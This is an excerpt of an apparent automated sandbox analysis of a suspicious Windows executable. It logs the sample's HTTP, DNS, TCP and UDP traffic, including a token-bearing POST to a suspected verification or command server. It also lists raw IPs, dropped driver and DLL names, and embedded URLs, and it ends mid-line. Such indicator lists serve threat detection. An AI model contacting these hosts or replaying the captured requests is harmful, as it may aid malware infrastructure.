Source: global traffic	HTTP traffic detected: GET /operate/24647 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/24647 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.87.7
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.30.151
Source: unknown	TCP traffic detected without corresponding DNS query: 47.242.126.205
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.11.147
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.30.151
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.87.7
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.30.151
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.87.7
Source: unknown	TCP traffic detected without corresponding DNS query: 47.242.126.205
Source: unknown	TCP traffic detected without corresponding DNS query: 47.242.126.205
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.11.147
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.11.147
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.11.147
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.11.147
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.11.147
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.11.147
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.30.151
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.30.151
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.87.7
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.87.7
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.87.7
Source: unknown	TCP traffic detected without corresponding DNS query: 47.242.126.205
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.87.7
Source: unknown	TCP traffic detected without corresponding DNS query: 47.242.126.205
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.30.151
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.30.151
Source: unknown	TCP traffic detected without corresponding DNS query: 8.218.30.151
Source: unknown	TCP traffic detected without corresponding DNS query: 47.242.126.205
Source: unknown	TCP traffic detected without corresponding DNS query: 47.242.126.205
Source: unknown	TCP traffic detected without corresponding DNS query: 47.242.126.205
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.11.147
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.11.147
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.11.147
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.11.147
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.11.147
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.11.147
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.11.147
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.11.147
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114

Source: C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Code function: 2_2_6A04E1F0 _memset,select,select,recv,_strncmp,_swscanf,_swscanf,

2_2_6A04E1F0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, /Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: daofeng.8090cqg.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sina.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.baidu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jd.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.so.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.1688.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: youdao.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: soso.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.hao123.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.eastmoney.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: foodmate.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jmw.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.cdstm.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.tencent.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.cctv.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2024-08-05/17_56 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: guangzhoucs.oss-accelerate.aliyuncs.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.hupu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jb51.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.autohome.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /kss_admin/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNHost: yanzheng.appchizi.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /kss_admin/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNHost: yanzheng.appchizi.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /kss_admin/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNHost: yanzheng.appchizi.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /kss_admin/ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNHost: yanzheng.appchizi.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/18771 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/11133 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.aliyun.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.kuaishou.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sinacloud.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.douyin.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.qq.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sogou.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.baidu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sohu.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.sina.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.so.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jd.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: soso.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.1688.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.hao123.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.cdstm.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: foodmate.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: youdao.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: www.jmw.com.cnRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2024-08-05/17_56 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: huadongcs.oss-accelerate.aliyuncs.comRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/24624 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/24624 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/24647 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /operate/24647 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Language: zh-CNAccept-Encoding: gzip, deflateHost: sinacloud.netRange: bytes=0-Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: daofeng.8090cqg.com
Source: global traffic	DNS traffic detected: DNS query: www.sina.com.cn
Source: global traffic	DNS traffic detected: DNS query: www.so.com
Source: global traffic	DNS traffic detected: DNS query: www.baidu.com
Source: global traffic	DNS traffic detected: DNS query: soso.com
Source: global traffic	DNS traffic detected: DNS query: www.jd.com
Source: global traffic	DNS traffic detected: DNS query: www.1688.com
Source: global traffic	DNS traffic detected: DNS query: www.hao123.com
Source: global traffic	DNS traffic detected: DNS query: youdao.com
Source: global traffic	DNS traffic detected: DNS query: foodmate.net
Source: global traffic	DNS traffic detected: DNS query: www.jmw.com.cn
Source: global traffic	DNS traffic detected: DNS query: www.cdstm.cn
Source: global traffic	DNS traffic detected: DNS query: www.eastmoney.com
Source: global traffic	DNS traffic detected: DNS query: www.tencent.com
Source: global traffic	DNS traffic detected: DNS query: www.cctv.com
Source: global traffic	DNS traffic detected: DNS query: www.hupu.com
Source: global traffic	DNS traffic detected: DNS query: www.autohome.com.cn
Source: global traffic	DNS traffic detected: DNS query: www.jb51.net
Source: global traffic	DNS traffic detected: DNS query: guangzhoucs.oss-accelerate.aliyuncs.com
Source: global traffic	DNS traffic detected: DNS query: sinacloud.net
Source: global traffic	DNS traffic detected: DNS query: www.aliyun.com
Source: global traffic	DNS traffic detected: DNS query: www.sinacloud.com
Source: global traffic	DNS traffic detected: DNS query: www.douyin.com
Source: global traffic	DNS traffic detected: DNS query: www.kuaishou.com
Source: global traffic	DNS traffic detected: DNS query: www.iqiyi.com
Source: global traffic	DNS traffic detected: DNS query: www.sohu.com
Source: global traffic	DNS traffic detected: DNS query: www.sogou.com
Source: global traffic	DNS traffic detected: DNS query: www.qq.com
Source: global traffic	DNS traffic detected: DNS query: huadongcs.oss-accelerate.aliyuncs.com

Source: unknown

HTTP traffic detected: POST /kss_io/io.php?v=13&b=1&s=10000025&e=get&line=1kstoken80597805589 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Accept-Language: zh-cnReferer: http://yanzheng.appchizi.com/User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; )Content-Length: 126Host: yanzheng.appchizi.com

Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://1066951243755853.cn-hongkong.fc.aliyuncs.com/2016-08-15/proxy/time.LATEST/time/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://1066951243755853.cn-hongkong.fc.aliyuncs.com/2016-08-15/proxy/time.LATEST/time/http://time-ti
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://1066951243755853.cn-huhehaote.fc.aliyuncs.com/2016-08-15/proxy/time.LATEST/time/
Source: F7BE15F582DD9.exe, 00000002.00000002.4653023373.00000000105AA000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4621891774.000000000F0B0000.00000004.00000020.00020000.00000000.sdmp, 8001IF88B.dll.2.dr, A743A4x03.dll.2.dr	String found in binary or memory: http://115.28.91.235/api/fun.aspx
Source: F7BE15F582DD9.exe, 00000002.00000002.4653023373.00000000105AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://115.28.91.235/api/fun.aspxname
Source: F7BE15F582DD9.exe, 00000002.00000002.4621891774.000000000F0B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://115.28.91.235/api/fun.aspxnameU
Source: 8001IF88B.dll.2.dr, A743A4x03.dll.2.dr	String found in binary or memory: http://115.28.91.235/api/fun.aspxnamexy
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://115.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://119.29.29.29/d?dn=
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://121.40.137.186/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://121.40.137.186/http://aq.cqyanzheng.com/http://yanzheng.appchizi.com/http://121.40.137.186/ht
Source: 331FPNNPK.exe.2.dr	String found in binary or memory: http://123.60.141.182/api/soft.aspx
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://182.254.116.116/d?dn=
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://223.5.5.5/resolve?name=
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://223.6.6.6/resolve?name=
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://588ku.com/
Source: F7BE15F582DD9.exe, 00000002.00000002.4579616746.0000000008D1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.21
Source: F7BE15F582DD9.exe, 00000002.00000003.2208709020.0000000008D17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.212.11.147/
Source: F7BE15F582DD9.exe, 00000002.00000003.2208709020.0000000008D17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://8.212.11.147/application/x-www-form-urlencodedMozilla/5.0
Source: F7BE15F582DD9.exe, 00000002.00000002.4497058864.0000000000547000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://8.212.11.147/http://8.212.11.147/8.212.11.147
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://aq.cqyanzheng.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://beijingcs.oss-accelerate.aliyuncs.com/
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://ca800.com/
Source: F7BE15F582DD9.exe, 00000002.00000003.2420724069.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2513529264.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2420912938.000000000657B000.00000004.00000020.00020000.00000000.sdmp, A633favQv.sys.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceCodeSigningCA-1.crt0
Source: F7BE15F582DD9.exe, 00000002.00000003.2420724069.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2513529264.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2420912938.000000000657B000.00000004.00000020.00020000.00000000.sdmp, A633favQv.sys.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: F7BE15F582DD9.exe, 00000002.00000003.2420724069.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2513529264.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2420912938.000000000657B000.00000004.00000020.00020000.00000000.sdmp, A633favQv.sys.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2HighAssuranceCodeSigningCA.crt0
Source: 1.exe, 00000000.00000002.2050860464.0000000000C57000.00000002.00000001.01000000.00000003.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmp, F7BE15F582DD9.exe, 00000002.00000002.4496737403.00000000004F7000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cli.im/
Source: F7BE15F582DD9.exe, 00000002.00000002.4572883601.000000000657C000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2600289840.00000000115C6000.00000004.00000020.00020000.00000000.sdmp, F7BE15F582DD9.exe, 00000002.00000003.2688110003.00000000115CD000.00000004.00000020.00020000.00000000.sdmp, F7BE15F.sys.2.dr, 4CE0zvyEH.sys.2.dr	String found in binary or memory: http://crl.thawte.com/ThawtePCA.crl0
Source: svchost.exe, 00000003.00000002.3694301569.000001BDA8200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
